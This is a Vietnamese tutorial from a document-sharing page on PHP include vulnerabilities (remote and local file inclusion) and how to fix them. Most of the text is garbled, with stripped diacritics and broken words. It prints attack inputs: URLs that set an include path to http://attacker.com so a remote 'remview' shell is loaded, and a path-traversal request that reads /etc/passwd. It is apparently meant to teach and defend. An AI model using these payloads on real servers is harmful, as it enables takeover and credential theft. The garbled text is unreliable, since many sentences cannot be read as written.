DANH MỤC TÀI LIỆU
Bảo mật máy chủ web: Lỗi Include và cách khắc phục
B o m t máy ch web: L i Include và cách kh c ph cả ậ
Đôi khi vào các trang hacker , b n hay th y các l i b o m t mà hacker đã ỗ ả
dùng nh ng cách th c h t s c đ n gi n đ l y username và password vào ứ ế ứ ơ
root c a host nh ../../../../../ ect/passwd. Đó chính là m t ph n c a l i ư ủ ỗ
include. Nói m t cách t ng quát, l i include là m t lo i l i do s b t c n ự ấ
khi l p trình gây ra và l i này có th kh c ph c m t cách d dàng. ể ắ
Include là gì? Include nghĩa là k t n i, lien k t .ế ế Đ tránh vi c l p đi l p l i ệ ặ
m t đo n mã nào đó, l p trình viên ch c n dùng l nh include đ n m t file ỉ ầ ế
có ch a mã s n . Vì th , trong m t mã ngu n ( tin t c, di n đàn, âm ế ứ ễ
nh c…) có ch a r t r t nhi u các l nh Include. Và trong hàng ngàn dòng ấ ấ
l nh thì sai sót nh ng n i không m y quan tr ng là đi u không th tránh. ở ữ ơ
D a vào hình th c chúng ta có th phân ra 2 lo i: remote file và local. ể ạ
I. L i remote file
a/ L i khai báo bi n:ỗ ế
Vd1: Ta có m t file exam1.php nh sau:ư
$mkdir=”/home”;
Include($mkdir/config.php);
[…code exam1.php] ?>
Ta th y r ng file này không có l i. Tr c tiên l p trình viên (LTV) khai báo ấ ằ ướ
bi n $mkdir là “/home”. Sau đó LTV dùng l nh include v i đ ng d n đ n ế ớ ườ ế
file config.php là giá tr đã khai báo bi n $mkdir. ở ế
Vd2: Tôi l i có m t file exam2.php nh sau:ư
$mkdir =” “;
Include($mkdir/config.php);
[…code exam2.php] ?>
Đã có l i x y ra. Vì fileỗ ả config.php n m chung m t th m c v i ư ụ
file exam2.php nên không c n khai báo bi n $mkdir. Bi n $mkdir đã không ế ế
còn có tác d ng và tr nên vô nghĩa. Tuy nhiên LTV l i quên không xoá đi ụ ở
mà l i đ nó t n t i.ạ ể ồ ạ
Vd3 Quay l i vd 1
$mkdir = “/home”;
Include($mkdir/config.php);
[…code exam1.php] ?>
Gi s tôi có file config.php nh sau:ả ử ư
$datatype =”mysql”;
$datahost =”localhost”;
$data.user =”admin”;
$data.name =”test”; ?>
File exam1.php đã include đ n file config.php. V i l nh include này thì hai ế ớ ệ
file trên s t ng đ ng v i 1 file nh sau:ẽ ươ ươ ư
$datatype =”mysql”;
$datahost =”localhost”;
$data.user =”admin”;
$data.name =”test”;
[…code exam1.php] ?>
đây đo n t $mkdir=…config.php ; đã đ c thay b ng n i dung file ạ ừ ượ
config.php
Vd4: Quay l i v i vd2,ạ ớ exam2.php:
$mkdir =” “;
include($mkdir/config.php);
[…code exam2.php]
?>
File này có l i. Bi n $mkdir đ tr ng không khai báo. Đi u này đã t o c ế ể ố ơ
h i cho attacker khai báo dùm.
N u attacker dùng đ a ch nh sau:ế ỉ ư http://victim.com/exam2.php?
mkdir=http://attacker.com.
File exam2.php c a victim lúc này s nh sau: ẽ ư
$mkdir= “http://attacker.com”;
Include (http://attacker.com/config.php);
[…code exam2.php] ?>
Trong tr ng h p này thì file config.php đã nghi m nhiên đ c coi nh ườ ợ ượ ư
n m trong host c a attacker và n u n i dung file này là m t con remview thì ế ộ
s có v n đ x y ra. Nh vd3 đã nói v i l nh include này, toàn b mã c a ề ả ư
file ch a remview đã n m g n trong file exam2.php. Nh v y là attacker đã ư ậ
dùng remview đ đi u khi n toàn b host c a victim.ể ề
Tuy nhiên vi c này ch x y ra máy attacker, còn nh ng ng i truy c p ỉ ả ườ
khác đ u không có tác d ng và th c ch t file ự ấ exam2.php trên host victim
cũng không h b thay đ i.ề ị
b/ L i khi dùng hàm isset và hàm if
Vd5 Ta có m t file exam5.php nh sau:ư
If (!$mkdir) ($mkdir=”config.php”)
Include($mkdir);
[…code exam5.php]
?>
Nghĩa là n u bi n $mkdir ch a đ c khai báo thì l y giá tr m c đ nh là ế ế ư ượ ị ặ
config.php và include đ n giá tr mà bi n $mrdir đã khai báo.ế ị ế
T ng t nh vd4 attacker l i khai báo dùm bi n $mkdir cho victim và …ươ ự ư ế
Vd6 : L i m t fileạ ộ exam6.php
Isset (!$patch) ($patch=”/home”);
Include($patch);
[…code exam6.php]
?>
N u bi n $patch ch a đ c khai báo thì l y giá tr m c đ nh là /homeế ế ư ượ ị ặ
Bây gi đ n l t các b n t tìm hi uờ ế ượ
II. L i local
Chúng ta ch xét m t tr ng h p duy nh t ; ườ exam.php:
$file =” “;
Include (/home/$file);
[…code exam.php]
?>
V n t ng t nh sau các ví d tr c nh ng ch khác ch bi n $file đã ươ ư ụ ướ ư ế
b gi i h n n m trong th m c home.ị ớ ạ ư ụ
N u attacker nh p vào:ế ậ
http://victim.com/exam.php?file=http://attacker.com thì code trên thành nh ư
sau :
File =”http://attacker.com”) ;
Include (/home/http://attacker.com);
[…code exam.php]
?>
L nh include không còn có ý nghĩa vì đ ng d n sai hoàn toàn. Nh ng ườ ẫ ư
attacker v n t n d ng đ c l i này. B ng cách thêm vào đ ng d n nh ượ ỗ ườ ư
sau :
http://victim.com/exam.php?file=../../../../../etc/passwd/
V i giá tr nh p vào là ../ attacker đã xhayj ng c ;liên k t đ n th m c ượ ế ế ư ụ
password c a server host .
Vd: chúng ta có cài th m c nh sau:ư ụ ư
Server root/home/victim/public.html/forum/includes/exam.php
V i 5 l n s d ng ../ đã giúp attacker xâm nh p vào th m c etc/passwd : ử ụ ư
n i ch a pass vào root c a server.ơ ứ
Tuỳ m i server mà có đ ng d n khác nhau mà dùng s l n ../ khác nhau. ườ ố ầ
III. Cách kh c ph cắ ụ
Đây là l i sinh ra do vô ý ho c do kém hi u bi t v l p trình. Tuy nhiên ế ề ậ
vi c fix l i l i r t d dàng, ch c n lo i b các bi n không c n thi t khi ỉ ầ ế ế
dùng l nh include ho c ph i khai báo bi n rõ ràng. Qua l i này, chúng ta có ặ ả ế
th t b o m t cho chính website c a b n than và t tìm ki m các l i khác.ể ự ế
thông tin tài liệu
Đôi khi vào các trang hacker , bạn hay thấy các lỗi bảo mật mà hacker đã dùng những cách thức hết sức đơn giản để lấy username và password vào root của host như ../../../../../ ect/passwd. Đó chính là một phần của lỗi include. Nói một cách tổng quát, lỗi include là một loại lỗi do sự bất cẩn khi lập trình gây ra và lỗi này có thể khắc phục một cách dễ dàng
Mở rộng để xem thêm
từ khóa liên quan
xem nhiều trong tuần
yêu cầu tài liệu
Giúp bạn tìm tài liệu chưa có

LÝ THUYẾT TOÁN


×